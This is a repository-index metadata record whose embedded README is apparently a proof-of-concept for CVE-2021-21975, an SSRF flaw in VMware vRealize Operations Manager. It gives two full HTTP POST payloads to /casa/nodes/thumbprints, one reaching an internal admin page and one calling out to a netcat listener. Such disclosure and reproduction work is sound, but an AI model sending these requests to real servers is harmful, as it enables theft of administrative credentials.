{"id":21616693,"url":"https://github.com/al1ex/cve-2021-21975","last_synced_at":"2026-02-02T02:31:58.339Z","repository":{"id":108707757,"uuid":"353407250","full_name":"Al1ex/CVE-2021-21975","owner":"Al1ex","description":"CVE-2021-21975 vRealize Operations Manager SSRF","archived":false,"fork":false,"pushed_at":"2021-03-31T15:50:27.000Z","size":251,"stargazers_count":13,"open_issues_count":0,"forks_count":7,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-06-29T09:39:58.673Z","etag":null,"topics":["cve-2021-21975","ssrf","vrealize-operations-manager"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Al1ex.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2021-03-31T15:40:09.000Z","updated_at":"2024-08-12T20:11:43.000Z","dependencies_parsed_at":"2023-04-13T19:07:00.535Z","dependency_job_id":null,"html_url":"https://github.com/Al1ex/CVE-2021-21975","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/Al1ex/CVE-2021-21975","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2021-21975","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2021-21975/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2021-21975/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2021-21975/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Al1ex","download_url":"https://codeload.github.com/Al1ex/CVE-2021-21975/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2021-21975/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29001654,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-02T01:32:03.847Z","status":"online","status_checked_at":"2026-02-02T02:00:07.448Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve-2021-21975","ssrf","vrealize-operations-manager"],"created_at":"2024-11-24T22:15:03.190Z","updated_at":"2026-02-02T02:31:58.318Z","avatar_url":"https://github.com/Al1ex.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"## Impacted Products\r\n\r\n- VMware vRealize Operations 8.3.0、8.2.0、8.1.1、8.1.0、7.5.0\r\n- VMware Cloud Foundation 4.x、3.x\r\n- vRealize Suite Lifecycle Manager 8.x\r\n\r\n## Description\r\n\r\nOn March 31, 2021, VMware officially released the risk notice of vmsa-2021-0004. The vulnerability numbers are cve-2021-21975 and cve-2021-21983. The vulnerability level is high risk and the vulnerability score is 8.6.\r\n\r\nCVE-2021-21975：A malicious actor with network access to the vRealize Operations Manager API can perform a Server Side Request Forgery attack to steal administrative credentials.\r\n\r\nCVE-2021-21983：An authenticated malicious actor with network access to the vRealize Operations Manager API can write files to arbitrary locations on the underlying photon operating system\r\n\r\n## Vulnerability\r\n\r\n**Step 1**：login out\r\n\r\n![without_login](./img/without_login.png)\r\n\r\n**Step 2**:After that, visit /casa/nodes/thumbprints and use burpsuite to grab the data packet to construct the following request data packet to make the server request to log in to theauthentication page\r\n\r\n```java\r\nPOST /casa/nodes/thumbprints HTTP/1.1\r\nHost: 192.168.203.155\r\nConnection: close\r\nCache-Control: max-age=0\r\nsec-ch-ua: \"Google Chrome\";v=\"89\", \"Chromium\";v=\"89\", \";Not A Brand\";v=\"99\"\r\nsec-ch-ua-mobile: ?0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nContent-Type: application/json;charset=UTF-8\r\nSec-Fetch-Site: none\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-User: ?1\r\nSec-Fetch-Dest: document\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nContent-Length: 36\r\n\r\n[\"127.0.0.1:443/admin/login.action\"]\r\n```\r\n\r\n![request](img/request.png)\r\n\r\n**Step 2**: When using dnslog to verify SSRF, it was found that there was no echo for a long time, and then it had no choice but to use NC for verification. The construction request packet is as follows:\r\n\r\n```java\r\nPOST /casa/nodes/thumbprints HTTP/1.1\r\nHost: 192.168.203.155\r\nConnection: close\r\nCache-Control: max-age=0\r\nsec-ch-ua: \"Google Chrome\";v=\"89\", \"Chromium\";v=\"89\", \";Not A Brand\";v=\"99\"\r\nsec-ch-ua-mobile: ?0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nContent-Type: application/json;charset=UTF-8\r\nSec-Fetch-Site: none\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-User: ?1\r\nSec-Fetch-Dest: document\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nContent-Length: 23\r\n\r\n[\"192.168.202.86:4444\"]\r\n```\r\n\r\n![request2](img/request2.png)\r\n\r\n## Reference\r\n\r\nhttps://kb.vmware.com/s/article/83210\r\n\r\nhttps://www.vmware.com/security/advisories/VMSA-2021-0004.html\r\n\r\nhttps://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-21975.yaml\r\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fal1ex%2Fcve-2021-21975","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fal1ex%2Fcve-2021-21975","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fal1ex%2Fcve-2021-21975/lists"}